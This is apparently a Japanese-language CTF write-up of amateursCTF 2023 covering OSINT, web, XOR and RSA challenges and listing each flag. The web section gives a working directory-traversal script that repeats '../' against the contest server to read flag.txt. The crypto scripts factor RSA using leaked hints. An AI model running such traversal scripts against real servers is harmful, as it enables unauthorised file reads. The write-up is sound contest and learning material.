この大会は2023/7/15 10:00(JST)~2023/7/20 10:00(JST)に開催されました。
今回もチームで参戦。結果は2308点で914チーム中208位でした。
自分で解けた問題をWriteupとして書いておきます。
Discord rules sanity check (misc)
Discordに入り、#ruleチャネルに記載されているルールにフラグが書いてあった。
amateursCTF{be_honest._did_you_actually_read_the_rules?}
Gitint 5e (osint)
対象のリポジトリは以下の場所にある。
https://github.com/les-amateurs
最近更新されているリポジトリ「more-CTFd-mods」を見てみる。その中のCommitの内容を見てみる。
[Initial commit] # more-CTFd-mods amateursCTF{y0u-fOunD_m3; [Update README.md] # more-CTFd-mods amateursCTF{y0u-fOunD_m3; bu7:d1D U r34L!y?}
結合するとフラグになる。
amateursCTF{y0u-fOunD_m3;bu7:d1D U r34L!y?}
funny factorials (web)
"../"は再帰を使って削除されるが、その回数を一定数を超えるとその時点のpathを返す。ディレクトリトラバーサルで、間に"../"を入れる数を増やしていき、フラグが得られるまで繰り返す。
#!/usr/bin/env python3 import requests import re base_url = 'https://funny-factorials.amt.rs/?theme=' pattern = '(amateursCTF\{.+\})' for i in range(1, 1000): url = base_url + '..' * i + '/' * i + 'flag.txt' r = requests.get(url) if 'Internal Server Error' not in r.text: m = re.search(pattern, r.text) flag = m.group(1) print(flag) break
amateursCTF{h1tt1ng_th3_r3curs10n_l1mt_1s_1mp0ssibl3}
Compact XORs (crypto)
XOR keyを確認すると、偶数番目は0、奇数番目は平文の前のインデックスになっている。このことを使って復号する。
#!/usr/bin/env python3 with open('fleg', 'r') as f: enc = bytes.fromhex(f.read()) flag_head = b'amateursCTF{' key = [] for i in range(len(flag_head)): key.append(flag_head[i] ^ enc[i]) print('[+] key:', key) flag = '' for i in range(len(enc)): if i % 2 == 0: flag += chr(enc[i]) else: flag += chr(ord(flag[i-1]) ^ enc[i]) print('[*] flag:', flag)
実行結果は以下の通り。
[+] key: [0, 97, 0, 97, 0, 101, 0, 114, 0, 67, 0, 70] [*] flag: amateursCTF{saves_space_but_plaintext_in_plain_sight_862efdf9}
amateursCTF{saves_space_but_plaintext_in_plain_sight_862efdf9}
You get extra information 1 (crypto)
暗号化処理の概要は以下の通り。
・p, q: 512ビット素数 ・n = p * q ・p = p + q ・e = 0x10001 ・extra_information = p + q ・ptxt: flagの数値化したもの ・c = pow(ptxt, e, n) ・n, c, e, extra_informationを出力
RSA暗号で、ヒントとして以下の値が提供されている。
extra_information = p + q + q = p + q * 2
この式を変形する。
p = extra_information - q * 2
n = p * qであることを使って、上記のpを代入する。
n = (extra_information - q * 2) * q
この2次方程式を解きqを求める。qがわかればpもわかり、flagを復号できる。
#!/usr/bin/env python3 from Crypto.Util.number import * import sympy with open('output.txt', 'r') as f: params = f.read().splitlines() n = int(params[0].split(' ')[-1]) c = int(params[1].split(' ')[-1]) e = int(params[2].split(' ')[-1]) extra_information = int(params[3].split(' ')[-1]) q = sympy.Symbol('q') eq = (extra_information - q * 2) * q - n qs = sympy.solve(eq) for q in qs: if q.is_Integer: q = int(q) p = n // q phi = (p - 1) * (q - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
amateursCTF{harder_than_3_operations?!?!!}
You get extra information 2 (crypto)
暗号化処理の概要は以下の通り。
・p, q: 512ビット素数 ・n = p * q ・e = 0x10001 ・extra_information = (n**2)*(p**3 + 5*(p+1)**2) + 5*n*q + q**2 ・ptxt: flagの数値化したもの ・c = pow(ptxt, e, n) ・n, c, e, extra_informationを出力
RSA暗号で、ヒントとして以下の値が提供されている。
extra_information = (n**2)*(p**3 + 5*(p+1)**2) + 5*n*q + q**2
q = n // p であることを使って式を変形する。
extra_information = (n**2)*(p**3 + 5*(p+1)**2) + 5*n**2//p + (n**2//(p**2))
両辺にp**2をかける
extra_information*p**2 = ((n**2)*(p**3 + 5*(p+1)**2))*p**2 + 5*n**2*p + n**2
この高次方程式を解きpを求める。pがわかればqもわかり、flagを復号できる。
#!/usr/bin/env sage from Crypto.Util.number import * with open('output.txt', 'r') as f: params = f.read().splitlines() n = int(params[0].split(' ')[-1]) c = int(params[1].split(' ')[-1]) e = int(params[2].split(' ')[-1]) extra_information = int(params[3].split(' ')[-1]) var('p') f = ((n**2)*(p**3 + 5*(p+1)**2))*p**2 + 5*n**2*p + n**2 \ - extra_information*p**2 ps = solve(f, p) p = int(ps[4].rhs()) q = n // p assert p * q == n phi = (p - 1) * (q - 1) d = int(inverse(e, phi)) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
amateursCTF{omg_it's_my_favorite_epic_thing_where_it_looks_like_a_binomial!!}
Survey (misc)
アンケートに答えたら、以下のbase64文字列が表示された。
YW1hdGV1cnNDVEZ7c3VydjN5c19oM2xwX3VzX2ltcHIwdjNfZnV0dXIzX2MwbXAzdGl0MW9uc30=
base64デコードする。
$ echo YW1hdGV1cnNDVEZ7c3VydjN5c19oM2xwX3VzX2ltcHIwdjNfZnV0dXIzX2MwbXAzdGl0MW9uc30= | base64 -d amateursCTF{surv3ys_h3lp_us_impr0v3_futur3_c0mp3tit1ons}
amateursCTF{surv3ys_h3lp_us_impr0v3_futur3_c0mp3tit1ons}